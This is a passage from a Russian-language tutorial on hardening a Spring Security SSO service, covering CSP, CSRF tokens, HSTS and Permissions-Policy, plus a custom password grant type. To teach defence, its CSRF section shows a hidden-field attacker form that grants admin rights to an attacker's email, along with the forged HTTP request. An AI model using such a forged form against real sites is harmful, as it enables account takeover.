    private final SecurityProperties.Headers securityHeaderProperties;

    // .....

    @Bean
    public SecurityFilterChain defaultSecurityFilterChain(HttpSecurity http) throws Exception {
        http.headers(customizer -> {
            customizer.contentSecurityPolicy(
                    configurer -> configurer.policyDirectives(securityHeaderProperties.getCSPLikeString())
            );
        });
    }
}

application.yml

spring:
    security:
        headers:
            csp:
                - default-src 'self'
                - script-src 'self'
                - img-src 'self'
                - font-src 'self' fonts.gstatic.com
                - style-src 'self' fonts.googleapis.com 'nonce-dQw4w9WgXcQ' 'sha256-VBcDFo4Ltbcy2NNfi2Jeyo6IXzMKysUIvWc1d1FGhgY='
                - frame-ancestors 'self' 

Давайте детально разберём, что мы указали:

  1. default-src 'self' - Весь загружаемый контент должен идти с нашего сайта. Поддомены не разрешаются.

  2. script-src 'self' - Указываем, что JS скрипты можно загружать только с самого сайта.

  3. img-src 'self' data: - ограничиваем загрузку медиа файлов только с сайта. Но разрешаем загружать изображения из строки base64 (нужно при работе механизма изменении аватарки).

  4. font-src 'self' fonts.gstatic.com - ограничиваем загрузку шрифтов только с сайта и c Google.

  5. style-src 'self' fonts.googleapis.com 'nonce-dQw4w9WgXcQ' 'sha256-VBcDFo4Ltbcy2NNfi2Jeyo6IXzMKysUIvWc1d1FGhgY=' - здесь получилось самое сложное. Во-первых, ограничиваем загрузку стилей только с нашего сайта. Далее разрешаем получать стили с fonts.googleapis.com (это для гугловых шрифтов). Стили Vuetify пометим специальным атрибутом nonce-dQw4w9WgXcQ (его мы указали при настройке тем (cspNonce)). И ещё указываем хэш стилей, которые небезопасным способом добавляются в библиотеке @kyvg/vue3-notification (лучшего решения не нашёл, если кто знает, как это пометить специальным nonce, то отпишите в комментариях).

  6. frame-ancestors 'self' - указываем, где может быть встроена страница j-sso при помощи следующих тегов: <frame>, <iframe>, <object> или <embed>.

Более детальную информацию обо всех директивах CSP заголовка можно найти здесь.

Так как с такими ограничениями не всегда удобно вести разработку, то по умолчанию зададим более мягкие правила, а для профайла prod укажем те, что разобрали. Чтобы увидеть, как это работает в нашем приложении, соберите его и запустите, указав профайл prod, или просто воспользуйтесь готовой конфигурацией запуска run jsso as prod в репозитории проекта.

И последним в списке по защите от XSS был пункт использования заголовка X-Frame-Options. Данный заголовок указывает, может ли сайт быть встроен внутри другого при помощи тегов: <frame>, <iframe>, <object> или <embed>. Данный заголовок аналогичен директиве frame-ancestors в CSP. Поэтому если вы настроили frame-ancestors, то это делает заголовок X-Frame-Options ненужным. Но если вы его всё-таки собираетесь настроить, то Spring Security поможет вам в этом следующим образом:

SecurityConfig.java

public class SecurityConfig {
    // ....

    @Bean
    public SecurityFilterChain defaultSecurityFilterChain(HttpSecurity http) throws Exception {
        // ....
        http.headers(customizer -> {
            customizer.contentSecurityPolicy(
                    configurer -> configurer.policyDirectives(securityHeaderProperties.getCSPLikeString())
            );

            // Настройка заголовка X-Frame-Options
            customizer.frameOptions(HeadersConfigurer.FrameOptionsConfig::deny);
        });
    }
}

Стоит сказать пару слов о заголовке X-XSS-Protection. Данный заголовок использовался для включения механизмов защиты от XSS атак, которые предоставляли браузеры. При обнаружении XSS браузер останавливал загрузку сайта. На данный момент этот заголовок не поддерживается современными браузерами, и на смену ему пришёл заголовок CSP.

CSRF

CSRF (англ. cross-site request forgery — «межсайтовая подделка запроса», также известна как XSRF) — вид атак на посетителей веб-сайтов, использующий недостатки протокола HTTP. Если жертва заходит на сайт, созданный злоумышленником, от её лица тайно отправляется запрос на другой сервер (например, на сервер платёжной системы), осуществляющий некую вредоносную операцию (например, перевод денег на счёт злоумышленника). Для осуществления данной атаки жертва должна быть аутентифицирована на том сервере, на который отправляется запрос, и этот запрос не должен требовать какого-либо подтверждения со стороны пользователя, которое не может быть проигнорировано или подделано атакующим скриптом.

Чтобы было более понятно, давайте посмотрим на простой пример. Допустим, у нас есть сервис SSO и форма назначения пользователю роли администратора, которая выглядит примерно так:


<form method="post"
      action="/admin-user/assign-admin">
    <input type="text"
           name="email"/>
    <input type="submit"
           value="Assign"/>
</form>

HTTP запрос в таком случае будет следующим:

POST /admin-user/assign-admin HTTP/1.1
Host: j-sso.ru
Cookie: JSESSIONID=........
Content-Type: application/x-www-form-urlencoded

email=user@gmail.com

А теперь давайте представим, что вы аутентифицировались в сервисе SSO и перешли на сайт злоумышленника, где находится форма следующего вида:


<form method="post"
      action="https://j-sso.ru/admin-user/assign-admin">
    <input type="hidden"
           name="email"
           value="evil-mail@gmail.com"/>
    <input type="submit"
           value="Press button"/>
</form>

Вы нажимаете на соответствующую кнопку (Press button), и на наш SSO будет отправлен запрос следующего вида:

POST /admin-user/assign-admin HTTP/1.1
Host: j-sso.ru
Cookie: JSESSIONID=........
Content-Type: application/x-www-form-urlencoded

email=evil-mail@gmail.com

Таким образом, вы сами того не зная, назначили администратором сервиса злоумышленника. Как же так происходит? Всё просто, так как вы не разлогинились в сервисе SSO, то при отправке запроса, будут отправлены ваши Cookie файлы (принадлежащие j-sso.ru), и запрос успешно выполнится, несмотря на то, что вы находитесь на другом сайте.

Да, ситуация немного наиграна в этом примере, но представьте себе, что будет, если это будет не SSO сервис, а сайт банка. Поэтому задуматься о настройке и включении механизмов защиты необходимо до вывода вашего сервиса в продуктив.

В ветке репозитория chapter-5.1 я добавил новый контейнер в конфигурации docker-compose - csrf-example. Он предназначен для воспроизведения CSRF атаки на j-sso. Это обычная html форма, в которой есть всего одна кнопка. При нажатии на эту кнопку отправляется запрос назначения прав администратора на email адрес злоумышленника. Чтобы воспроизвести атаку, выполните следующие действия:

  1. Запустите j-sso и csrf-example (можете запустить подготовленной конфигурацией запуска run all service)

  2. Пройдите аутентификацию в j-sso любым удобным для вас образом (используйте логин/пароль: admin@example.com/admin@example.com)

  3. Перейдите на страницу csrf-example (http://localhost:9090/index.html)

  4. Откройте консоль разработчика в браузере, чтобы видеть запросы.

  5. Нажмите на кнопку Press button. (Предполагается, что адрес злоумышленника (evil_mail@example.com) уже зарегистрирован в j-sso, но не имеет прав администратора.)

Вы увидите, как запрос на назначение прав администратора успешно выполнен со стороннего сайта (http://localhost:9090).

Защита от CSRF

Судя из теории, которая описана выше, весь смысл защиты заключается в том, чтобы понять откуда пришёл запрос: с нашего сайта или с сайта злоумышленника. Spring Security предоставляет нам два механизма защиты от атак CSRF. Но прежде чем мы перейдём к их рассмотрению, вы должны гарантировать в своём приложении, что все "Safe HTTP methods" не должны изменять данные, а только читать их. К таким методам относятся: GET, HEAD, OPTIONS, TRACE.

Самое простое, что мы можем сделать, чтобы защитить себя от CSRF - это настроить атрибут Same Site для сессионных Cookie. Данный атрибут позволяет указать браузеру, когда отправлять их с запросом, а когда нет. Например, если мы укажем Strict, то это будет означать, что данные куки будут отправляться, только если запрос идёт с домена, на который были установленны эти куки. При этом запрос с поддомена уже не будет содержать этих Cookie.

Данный подход хорошо работает, но не всегда удобен. Так как иногда мы хотим, чтобы при переходе на сайт (например из письма), уже существующая сессия пользователя осталась, и ему не нужно было проходить аутентификацию по новой. То есть, чтобы улучшить UX, мы часто устанавливаем в атрибуте Same Site значение Lax. Данный атрибут запрещает отправку Cookie на меж-сайтовых запросах, но разрешает их отправку, когда пользователь переходит на сайт по прямой ссылке.

Если мы посмотрим на наши SESSION куки, то увидим, что атрибут Same Site по умолчанию имеет значение Lax.

SESSION cookie
SESSION cookie

Вторым подходом к защите от CSRF атак является настройка специального токена, который генерирует сервер и отправляет фронту (например, в куках или meta тегах). Фронт в свою очередь отправляет данный токен обратно серверу, тем самым сервер понимает, что запрос пришёл с авторизованного сайта, а не с сайта злоумышленника. Данный подход работает только в том случае, если токен НЕ АВТОМАТИЧЕСКИ отправляется на сервер. То есть фронт должен получить данный токен самостоятельно (через JavaScript) и после чего подложить его в теле запроса или в его заголовках. Стоит также понимать, что все запросы не имеет смысла защищать данным токеном, достаточно защитить только "Unsafe HTTP methods" (те, что меняют состояние приложения: POST, PUT, DELETE и др).

В реализации данного подхода нам очень сильно поможет Spring Security, в котором достаточно настроить DSL метод .csrf() в конфигурации SecurityFilterChain. Основную работу будет выполнять CsrfFilter, у которого есть две важные составляющие:

  • CsrfTokenRepository - хранилище токенов. Можно хранить в атрибуте сессии (HttpSessionCsrfTokenRepository) или в куках (CookieCsrfTokenRepository).

  • CsrfTokenRequestHandler - механизм получения токена из запроса, и создание объекта CsrfToken. CsrfTokenRequestAttributeHandler - получает готовый токен из заголовков или параметров запроса и также загруженный из хранилища запрос помещает в атрибут сессии _scrf. XorCsrfTokenRequestAttributeHandler - продвинутый механизм, после получения токена из хранилища использует "соль" и операцию xor, чтобы на каждый запрос сгенерировать зашифрованный токен. Таким образом, защищает от BREACH уязвимости HTTPS.

По умолчанию Spring Security использует HttpSessionCsrfTokenRepository в качестве хранилища и XorCsrfTokenRequestAttributeHandler в качестве механизма получения/установки токена. Для того чтобы передать на фронт токен, мы можем использовать thymeleaf. Для этого достаточно установить следующие meta теги в наш index.html.

index.html


<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width,initial-scale=1.0">

    <!--    Указываем заголовок и сам CSRF токен-->
    <meta name="_csrf" th:content="${_csrf.token}"/>
    <meta name="_csrf_header" th:content="${_csrf.headerName}"/>


    <link rel="icon" href="<%= BASE_URL %>favicon.ico">
    <link href='https://fonts.googleapis.com/css?family=Roboto:100,300,400,500,700,900|Material+Icons' rel="stylesheet">
    <title><%= htmlWebpackPlugin.options.title %></title>
</head>

Теперь, при открытии страницы, у нас в meta тегах будет имя заголовка, в котором нужно отправить CSRF токен и сам токен. Далее достаточно при помощи JS получить эти значения и в axios интерцепторе подкладывать токен в заголовок запроса (как правило, это: X-CSRF-TOKEN или X-XSRF-TOKEN).

axios-plugin.js

import axios from "axios";

function applyCsrfTokenFromMetaTag(requestConfig) {
    let token = searchMetaContent('_csrf');
    let tokenHeader = searchMetaContent('_csrf_header');
    if (token && tokenHeader) {
        requestConfig.headers[tokenHeader] = token;
    }
}

function applyAxiosInterceptor(store, router) {
    axios.interceptors.request.use(config => {
        if (['DELETE', 'POST', 'PUT'].includes(config.method.toUpperCase())) {
            applyCsrfTokenFromMetaTag(config);
        }
        return config;
    });
}

К сожалению данная конфигурация в нашем приложении работать не будет, так как:

  1. Frontend приложение является SPA. Соответственно, страница не запрашивается на каждый запрос.

  2. По умолчанию используется XorCsrfTokenRequestAttributeHandler, который обновляет зашифрованный токен на каждый запрос.

Поэтому если выбрать CsrfTokenRequestAttributeHandler, то всё заработает как надо.

SecurityConfig.java

public class SecurityConfig {

    // .....

    @Bean
    public SecurityFilterChain defaultSecurityFilterChain(HttpSecurity http) throws Exception {
        // ...
        http.csrf(configurer -> configurer
                .csrfTokenRepository(new HttpSessionCsrfTokenRepository())
                .csrfTokenRequestHandler(new CsrfTokenRequestAttributeHandler())
        );

        // ...
    }
}

Есть один нюанс. Если внимательно посмотреть на метод конфигурации CsrfFilter в ScrfConfigurer, то можно заменить, что помимо самого фильтра там еще указываются обработчики на logout и login. Они нужны, чтобы сменить токен после успешной аутентификации или выхода в целях безопасности.

CsrfConfigurer.java

public final class CsrfConfigurer<H extends HttpSecurityBuilder<H>>
        extends AbstractHttpConfigurer<CsrfConfigurer<H>, H> {

    @Override
    public void configure(H http) {
        CsrfFilter filter = new CsrfFilter(this.csrfTokenRepository);
        RequestMatcher requireCsrfProtectionMatcher = getRequireCsrfProtectionMatcher();
        if (requireCsrfProtectionMatcher != null) {
            filter.setRequireCsrfProtectionMatcher(requireCsrfProtectionMatcher);
        }
        AccessDeniedHandler accessDeniedHandler = createAccessDeniedHandler(http);
        ObservationRegistry registry = getObservationRegistry();
        if (!registry.isNoop()) {
            ObservationMarkingAccessDeniedHandler observable = new ObservationMarkingAccessDeniedHandler(registry);
            accessDeniedHandler = new CompositeAccessDeniedHandler(observable, accessDeniedHandler);
        }
        if (accessDeniedHandler != null) {
            filter.setAccessDeniedHandler(accessDeniedHandler);
        }

        // Добавляется обработчик на logout
        LogoutConfigurer<H> logoutConfigurer = http.getConfigurer(LogoutConfigurer.class);
        if (logoutConfigurer != null) {
            logoutConfigurer.addLogoutHandler(new CsrfLogoutHandler(this.csrfTokenRepository));
        }

        // Добавляется обработчик на login
        SessionManagementConfigurer<H> sessionConfigurer = http.getConfigurer(SessionManagementConfigurer.class);
        if (sessionConfigurer != null) {
            sessionConfigurer.addSessionAuthenticationStrategy(getSessionAuthenticationStrategy());
        }
        if (this.requestHandler != null) {
            filter.setRequestHandler(this.requestHandler);
        }
        filter = postProcess(filter);
        http.addFilter(filter);
    }
}

Почему же у нас тогда это работает, раз токен меняется после аутентификации? Всё просто, если вспомнить, как у нас проходит процесс аутентификации, то можно увидеть, что после её прохождения идёт перезагрузка страницы. А при аутентификации через сторонний сервис и так происходит перезагрузка страницы из-за перенаправлений.

login-service.js

export class LoginAPI {
    // .....

    /**
     * Вход черед логин/пароль.
     * При успешной аутентификации получает в заголовках ответа специальный
     * заголовок {@see process.env.VUE_APP_SSO_LOCATION_HEADER}, в котором содержится URL для дальнейшего перехода
     * @param username - логин
     * @param password - пароль
     */
    login(username, password) {
        let formData = new FormData();
        formData.append("username", username);
        formData.append("password", password);

        // тут делается запрос с отправлением CSRF токена из meta тегов
        return axios.post(LoginAPI.__LOGIN_URL, formData)
                .then(result => {
                    // после получения ответа, токен на сервере уже сменился, 
                    // но это не мешает нам сделать парочку GET запросов, 
                    // так как на них токен не проверяется

                    if (result.headers.has(LoginAPI.__LOCATION_HEADER)) {
                        this.resetSessionStore();

                        // делаем GET запрос
                        this.getCurrentUser().then(() => {

                            // перезагружаем страницу. Соответственно, получив в meta тегах обновлённый токен
                            window.location = result.headers.get(LoginAPI.__LOCATION_HEADER);
                        });
                    }
                });
    }


    logout() {
        return axios.post(LoginAPI.__LOGOUT).then((response) => {
            this.afterLogout();
            return response;
        });
    }

    afterLogout() {
        this.resetSessionStore();
        router.replace({name: 'login'});

        // добавим обновление страницы, так как CSRF токен сменился
        window.location.reload();
    }

    // .....
}

Чтобы испытать данную конфигурацию, вы можете запустить приложение из ветки chapter-5.2-simple-csrf.

Давайте настроим теперь CSRF так, чтобы мы были защищены от BREACH уязвимости. Для этого нам необходимо использовать XorCsrfTokenRequestAttributeHandler. Но чтобы его использовать, нам надо каким-то образом обновлять токен на фронте. Документация по Spring Security нам советует выбрать в качестве хранилища токенов - Cookie, используя CookieCsrfTokenRepository. Вы можете так и реализовать, но я хочу показать подход с хранением "сырого" токена в сессии, а через куки предоставлять клиенту только кодированный токен. Для этого нужно построить собственный CsrfTokenRequestHandler.

CustomCsrfTokenRequestHandler.java

public class CustomCsrfTokenRequestHandler implements CsrfTokenRequestHandler {

    private final XorCsrfTokenRequestAttributeHandler delegate = new XorCsrfTokenRequestAttributeHandler();

    private static final String COOKIE_NAME = "XSRF-TOKEN";

    @Override
    public void handle(HttpServletRequest request, HttpServletResponse response, Supplier<CsrfToken> csrfToken) {
        this.delegate.handle(request, response, csrfToken);

        // получаем обновлённый токен
        CsrfToken token = (CsrfToken) request.getAttribute(CsrfToken.class.getName());

        // устанавливаем его в куки ответа
        Cookie cookie = new Cookie(COOKIE_NAME, token.getToken());
        cookie.setPath("/");
        cookie.setAttribute("SameSite", "Lax");
        response.addCookie(cookie);
    }

    @Override
    public String resolveCsrfTokenValue(HttpServletRequest request, CsrfToken csrfToken) {
        return this.delegate.resolveCsrfTokenValue(request, csrfToken);
    }
}

Его реализация достаточно простая. Используя композицию мы делегируем работу методов экземпляру XorCsrfTokenRequestAttributeHandler. Но чуть меняем метод handle(). В нём после работы соответствующего метода делегата мы достаём обновлённый токен из атрибутов запроса и устанавливаем в ответе собственные куки с этим токеном. Далее необходимо чтобы frontend приложение при запросе использовало в X-CSRF-TOKEN заголовке токен, полученный из cookie. Посмотреть реализацию вы можете в репозитории приложения.

На этом настройка защиты от CSRF атак завершена. Запустите контейнер csrf-example и попробуйте воспроизвести атаку, как это мы делали чуть выше. В результате вы получите 403 ошибку, и права администратора не будут назначены на email злоумышленника. Протестировать данную реализацию вы можете запустив приложение в ветке chapter-5.2.

Стоит отметить, что хоть специально мы не храним CSRF токены в Redis, они там хранятся вместе с сессией. Это важно понимать, когда вы будете запускать приложение в многонодном режиме. Настройкой хранения сессии в Redis мы занимались в этой статье.

Остальные Security Headers

Заголовков которые можно настроить через Spring Security достаточно много. Обо всех них вы можете прочитать в документации. Мы не будем разбирать их все, но рассмотрим самые интересные.

Strict-Transport-Security

Данный заголовок предназначен для предотвращения атак по типу "Man-in-the-Middle", прежде чем произойдёт перенаправление с небезопасного HTTP на защищённый HTTPS. Данный заголовок говорит браузеру использовать сразу HTTPS для доступа к сайту настроенное количество времени. То есть при попытке обращения к сайту через HTTP браузер сразу конвертирует HTTP в HTTPS.

Настроить его через Spring Security можно следующим образом:

SecurityConfig.java

public class SecurityConfig {
    // ....

    @Bean
    public SecurityFilterChain defaultSecurityFilterChain(HttpSecurity http) throws Exception {
        // ....
        http.headers(customizer -> {
            customizer.contentSecurityPolicy(
                    configurer -> configurer.policyDirectives(securityHeaderProperties.getCSPLikeString())
            );

            // Настройка заголовка X-Frame-Options
            customizer.frameOptions(HeadersConfigurer.FrameOptionsConfig::deny);

            // Настройка заголовка Strict-Transport-Security
            customizer.httpStrictTransportSecurity(configurer -> configurer
                    // указываем какое количество времени использовать HTTPS сразу
                    .maxAgeInSeconds(securityHeaderProperties.getHsts().getMaxAge())
                    // применять ли те же правила для поддоменов
                    .includeSubDomains(securityHeaderProperties.getHsts().getIncludeSubDomains())
                    // использовать ли предварительную загрузку (https://hstspreload.org/)
                    .preload(securityHeaderProperties.getHsts().getPreload())
            );
        });
    }
}

Самый интересная директива данного заголовка - это preload. Она говорит браузеру зарегистрировать текущий домен сайта в хранимом списке адресов, чтобы потом сразу использовать HTTPS. Более подробную информацию ищите тут.

Permissions-Policy и Feature-Policy

Начнём с того, что заголовок Feature-Policy - это то же самое, что и Permissions-Policy. Изначально был Feature-Policy, а потом его переименовали в Permissions-Policy. Но стоит учитывать, что заголовок Feature-Policy используется в Chrome 60+ и Edge 79+ (смотри тут). А заголовок Permissions-Policy используется в Chrome 88+, Edge 88+ и других браузерах (смотри тут). Поэтому, если вы хотите покрыть все браузеры и их версии, вам стоит настроить оба заголовка. Если же у вас такой цели нет, то достаточно настроить заголовок Permissions-Policy.

Permissions-Policy - механизм, позволяющий разрешить или запретить использовать функции API браузера. Это в свою очередь позволяет ограничить сайт, а также все <iframe> использовать API браузера, которые не нужны для работы приложения, но могут быть использованы для доступа к данным пользователя злоумышленником.

Директив настройки данного заголовка очень много. Все их вы можете найти в этой документации. Для работы нашего SSO пока никакое API браузера не нужно, поэтому просто выключим всё:

application.yml

spring:
    security:
        headers:
            # .......
            permission-policy:
                - picture-in-picture=()
                - accelerometer=()
                - autoplay=()
                - battery=()
                - camera=()
                - display-capture=()
                - geolocation=()
                - gyroscope=()
                - magnetometer=()
                - microphone=()
                - midi=()
                - payment=()
                - picture-in-picture=()
                - publickey-credentials-create=()
                - publickey-credentials-get=()
                - screen-wake-lock=()
                - serial=()
                - speaker-selection=()
                - usb=()

SecurityConfig.java

public class SecurityConfig {
    // ....

    @Bean
    public SecurityFilterChain defaultSecurityFilterChain(HttpSecurity http) throws Exception {
        // ....
        http.headers(customizer -> {
            customizer.contentSecurityPolicy(
                    configurer -> configurer.policyDirectives(securityHeaderProperties.getCSPLikeString())
            );

            // Настройка заголовка X-Frame-Options
            customizer.frameOptions(HeadersConfigurer.FrameOptionsConfig::deny);

            // Настройка заголовка Strict-Transport-Security
            customizer.httpStrictTransportSecurity(configurer -> configurer
                    // указываем какое количество времени использовать HTTPS сразу
                    .maxAgeInSeconds(securityHeaderProperties.getHsts().getMaxAge())
                    // применять ли те же правила для поддоменов
                    .includeSubDomains(securityHeaderProperties.getHsts().getIncludeSubDomains())
                    // использовать ли предварительную загрузку (https://hstspreload.org/)
                    .preload(securityHeaderProperties.getHsts().getPreload())
            );

            // Настройка заголовка Permissions-Policy
            customizer.permissionsPolicy(configurer -> configurer.policy(
                    securityHeaderProperties.getPermissionPolicyLikeString()
            ));
        });
    }
}

Теперь если вы захотите использовать какое-либо API браузера, то вам необходимо это будет разрешить в данном заголовке. В ином случае вы получите ошибку аналогичную представленной ниже:

Ошибка доступа к API геолокации
Ошибка доступа к API геолокации

Исходники данного раздела смотрите здесь.

Раздел 5.3. Создание собственного grant type.

В данном разделе речь пойдёт про создание собственного grant type. В частности меня просили в комментариях к прошлым статьям рассказать, каким образом можно создать упразднённый password grant type.

Напомню, spring-security-oauth2-authorization-server поддерживает протокол OAuth2.1, в котором была убрана поддержка Resource Owner Password Credentials. Поэтому лучше поменять подходы и следовать спецификации OAuth2.1.

Но иногда приложения с высоким уровнем доверия друг к другу могут использовать password grant type или аналогичные механизмы. Хотя это не рекомендуется и настоятельно требуется изменить подход с использованием password grant type в пользу authorization code flow, мы в целях изучения создания собственного grant type воссоздадим ROPC.

Первое, что мы сделаем, залезем в класс OAuth2TokenEndpointConfigurer и изучим как настраиваются остальные grant type.

OAuth2TokenEndpointConfigurer.java
OAuth2TokenEndpointConfigurer.java

Внимательно изучив его, приходим к выводу, что создание нового grant type состоит из 3 вещей:

  1. AuthenticationConverter - нужно создать собственный конвертер, который преобразует параметры запроса в некий AuthenticationToken.

  2. OAuth2AuthorizationGrantAuthenticationToken - нужно создать собственную реализацию данного класса. Именно его будет возвращать конвертер, и именно в нём будет находиться вся информация для прохождения авторизации.

  3. AuthenticationProvider - и последний самый сложный компонент это реализация данного интерфейса. В ней и должна произойти вся магия.

Вы всегда можете взять за основу любой максимально подходящий для ваших требований класс из библиотеки и на основе него уже построить собственную обработку. Так сделал и я.

Создадим класс, расширяющий OAuth2AuthorizationGrantAuthenticationToken. В нём должны быть дополнительные параметры для AuthenticationProvider: username, password, scopes.

OAuth2PasswordAuthenticationToken.java


@Getter
public class OAuth2PasswordAuthenticationToken extends OAuth2AuthorizationGrantAuthenticationToken {

    private final String username;
    private final String password;
    private final Set<String> scopes;


    protected OAuth2PasswordAuthenticationToken(
            String username,
            String password,
            Set<String> scopes,
            AuthorizationGrantType authorizationGrantType,
            Authentication clientPrincipal,
            Map<String, Object> additionalParameters
    ) {
        super(authorizationGrantType, clientPrincipal, additionalParameters);
        this.username = username;
        this.password = password;
        this.scopes = scopes;
    }
}

Далее создадим конвертер. Я за основу взял OAuth2AuthorizationCodeAuthenticationConverter и создал свой OAuth2PasswordAuthenticationConverter, позаимствовав немного реализации из него.

OAuth2PasswordAuthenticationConverter.java
public class OAuth2PasswordAuthenticationConverter implements AuthenticationConverter {

    private final static String USERNAME_PARAM = "username";
    private final static String PASSWORD_PARAM = "password";

    @Override
    public Authentication convert(HttpServletRequest request) {
        MultiValueMap<String, String> parameters = this.getFormParameters(request);

        // проверяем параметр grant_type
        String grantType = parameters.getFirst(OAuth2ParameterNames.GRANT_TYPE);
        if (!AuthorizationGrantType.PASSWORD.getValue().equals(grantType)) {
            return null;
        }

        Authentication clientPrincipal = SecurityContextHolder.getContext().getAuthentication();

        // получаем параметр username из запроса
        String username = parameters.getFirst(USERNAME_PARAM);
        if (!StringUtils.hasText(username) || parameters.get(USERNAME_PARAM).size() != 1) {
            this.throwError(OAuth2ErrorCodes.INVALID_REQUEST, USERNAME_PARAM, ACCESS_TOKEN_REQUEST_ERROR_URI);
        }

        // получаем параметр password из запроса
        String password = parameters.getFirst(PASSWORD_PARAM);
        if (!StringUtils.hasText(password) || parameters.get(PASSWORD_PARAM).size() != 1) {
            this.throwError(OAuth2ErrorCodes.INVALID_REQUEST, PASSWORD_PARAM, ACCESS_TOKEN_REQUEST_ERROR_URI);
        }

        // получаем параметр scope из запроса
        String scope = parameters.getFirst(OAuth2ParameterNames.SCOPE);
        if (StringUtils.hasText(scope) && parameters.get(OAuth2ParameterNames.SCOPE).size() != 1) {
            this.throwError(
                    OAuth2ErrorCodes.INVALID_REQUEST,
                    OAuth2ParameterNames.SCOPE,
                    ACCESS_TOKEN_REQUEST_ERROR_URI
            );
        }
        Set<String> requestedScopes = null;
        if (StringUtils.hasText(scope)) {
            requestedScopes = new HashSet<>(Arrays.asList(StringUtils.delimitedListToStringArray(scope, " ")));
        }

        // дополнительные параметры, если такие существуют
        Map<String, Object> additionalParameters = new HashMap<>();
        parameters.forEach((key, value) -> {
            if (!key.equals(OAuth2ParameterNames.GRANT_TYPE) &&
                    !key.equals(USERNAME_PARAM) &&
                    !key.equals(PASSWORD_PARAM) &&
                    !key.equals(OAuth2ParameterNames.SCOPE)
            ) {
                additionalParameters.put(key, (value.size() == 1) ? value.get(0) : value.toArray(new String[0]));
            }
        });

        return new OAuth2PasswordAuthenticationToken(
                username,
                password,
                requestedScopes,
                AuthorizationGrantType.PASSWORD,
                clientPrincipal,
                additionalParameters
        );
    }

    //......
}

Сама реализация метода Authentication convert(HttpServletRequest request) не сложная. Нужно получить все обязательные и необязательные параметры и создать на основе них объект OAuth2PasswordAuthenticationToken, который в свою очередь предоставит эти данные AuthenticationProvider.

Теперь осталось создать собственную реализацию AuthenticationProvider. Назовём её OAuth2PasswordTokenAuthenticationProvider.

OAuth2PasswordTokenAuthenticationProvider.java

@Slf4j
@RequiredArgsConstructor
public class OAuth2PasswordTokenAuthenticationProvider implements AuthenticationProvider {

    private final OAuth2AuthorizationService authorizationService;
    private final OAuth2TokenGenerator<? extends OAuth2Token> tokenGenerator;
    private final AuthenticationManager authenticationManager;

    @Override
    public Authentication authenticate(Authentication authentication) throws AuthenticationException {
        OAuth2PasswordAuthenticationToken passwordAuthentication = (OAuth2PasswordAuthenticationToken) authentication;

        // получим клиента системы
        OAuth2ClientAuthenticationToken clientPrincipal = getAuthenticatedClient(passwordAuthentication);
        RegisteredClient registeredClient = clientPrincipal.getRegisteredClient();

        if (registeredClient == null) {
            throw new OAuth2AuthenticationException(OAuth2ErrorCodes.INVALID_CLIENT);
        }

        // проведём аутентификацию пользователя
        Authentication userAuthentication = this.authenticationManager.authenticate(
                new UsernamePasswordAuthenticationToken(
                        passwordAuthentication.getUsername(),
                        passwordAuthentication.getPassword()
                )
        );

        // Создадим объект OAuth2Authorization, который сохраним в Redis
        // На этом этапе объект ещё не является завершенным и сохраняется в спец. список. Смотри описание RedisOAuth2AuthorizationService
        OAuth2Authorization authorization = OAuth2Authorization.withRegisteredClient(registeredClient)
                .id(UUID.randomUUID().toString())
                .principalName(passwordAuthentication.getUsername())
                .authorizationGrantType(AuthorizationGrantType.PASSWORD)
                .authorizedScopes(passwordAuthentication.getScopes())
                .attribute(Principal.class.getName(), userAuthentication)
                .build();
        this.authorizationService.save(authorization);

        // для наглядности оставил так, чтобы было понятно, откуда берётся principal
        Authentication principal = authorization.getAttribute(Principal.class.getName());
        DefaultOAuth2TokenContext.Builder tokenContextBuilder = DefaultOAuth2TokenContext.builder()
                .registeredClient(registeredClient)
                .principal(principal)
                .authorizationServerContext(AuthorizationServerContextHolder.getContext())
                .authorization(authorization)
                .authorizedScopes(authorization.getAuthorizedScopes())
                .authorizationGrantType(AuthorizationGrantType.PASSWORD)
                .authorizationGrant(passwordAuthentication);

        OAuth2Authorization.Builder authorizationBuilder = OAuth2Authorization.from(authorization);

        // генерируем и указываем в билдер access token
        OAuth2AccessToken accessToken = this.generateAndSetAccessToken(tokenContextBuilder, authorizationBuilder);

        // генерируем refresh token
        OAuth2RefreshToken refreshToken = null;
        if (registeredClient.getAuthorizationGrantTypes().contains(AuthorizationGrantType.REFRESH_TOKEN)) {
            refreshToken = this.generateAndSetRefreshToken(tokenContextBuilder, authorizationBuilder);
        }

        // Строим новый объект OAuth2Authorization и сохраняем его.
        // На этом этапе он становится завершенным (смотри RedisOAuth2AuthorizationService)
        authorization = authorizationBuilder.build();
        this.authorizationService.save(authorization);

        log.debug("Saved authorization");

        return new OAuth2AccessTokenAuthenticationToken(
                registeredClient,
                clientPrincipal,
                accessToken,
                refreshToken,
                Collections.emptyMap()
        );
    }

    // ....
}

Для его работы понадобится:

  1. OAuth2AuthorizationService - это будет наша реализация RedisOAuth2AuthorizationConsentService. Нужна для сохранения информации об авторизации.

  2. OAuth2TokenGenerator<? extends OAuth2Token> - генератор токенов.

  3. AuthenticationManager - необходим для аутентификации пользователя.

Бин для первого пункта мы уже создавали. Нужно создать два остальных бина. Бин для AuthenticationManager можно создать достаточно простым способом:

SecurityConfigUtilities.java

public class SecurityConfigUtilities {
    //.....

    @Bean
    public AuthenticationManager authenticationManager(
            AuthenticationConfiguration authenticationConfiguration
    ) throws Exception {
        return authenticationConfiguration.getAuthenticationManager();
    }

    //.....
}

Как создать бин для генератора? Понять это, поможет конфигуратор OAuth2TokenEndpointConfigurer. Посмотрите внимательно на метод createDefaultAuthenticationProviders(). Там можно заметить следующую строчку OAuth2ConfigurerUtils.getTokenGenerator(httpSecurity). Посмотрев на реализацию данного метода всё сразу становиться понятным.

OAuth2ConfigurerUtils.java
OAuth2ConfigurerUtils.java

Для работы нашего приложения потребуется только OAuth2AccessTokenGenerator и OAuth2RefreshTokenGenerator. Соответственно, создадим следующий бин:

SecurityConfigUtilities.java

public class SecurityConfigUtilities {
    //.....

    @Bean
    public OAuth2TokenGenerator<? extends OAuth2Token> oAuth2TokenGenerator() {
        OAuth2AccessTokenGenerator accessTokenGenerator = new OAuth2AccessTokenGenerator();
        OAuth2RefreshTokenGenerator refreshTokenGenerator = new OAuth2RefreshTokenGenerator();
        return new DelegatingOAuth2TokenGenerator(accessTokenGenerator, refreshTokenGenerator);
    }

    //.....
}

Теперь осталось всё это соединить воедино в конфигураторе OAuth2TokenEndpointConfigurer. Для этого изменим AuthorizationServerConfig следующим образом:

AuthorizationServerConfig.java

public class AuthorizationServerConfig {

